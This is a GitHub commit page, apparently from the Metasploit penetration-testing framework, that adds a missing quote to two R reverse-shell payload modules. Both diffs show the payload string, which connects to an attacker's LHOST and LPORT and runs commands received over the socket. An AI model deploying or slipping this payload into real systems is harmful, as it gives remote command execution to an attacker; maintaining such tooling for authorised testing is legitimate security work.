Skip to content

Commit 031f487

Browse files
author
Brent Cook
committed
add missing quotes
1 parent edbe8d7 commit 031f487

File tree

2 files changed

+2
-2
lines changed

2 files changed

+2
-2
lines changed

modules/payloads/singles/cmd/unix/reverse_r.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def prepends(r_string)
4242
def r_string
4343
lhost = datastore['LHOST']
4444
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
45-
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
45+
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
4646
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
4747
"(pipe(readLines(s, 1))),s)}"
4848
end

modules/payloads/singles/r/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def generate
3838
def r_string
3939
lhost = datastore['LHOST']
4040
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
41-
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
41+
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
4242
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
4343
"(pipe(readLines(s, 1))),s)}"
4444
end

0 commit comments

Comments
 (0)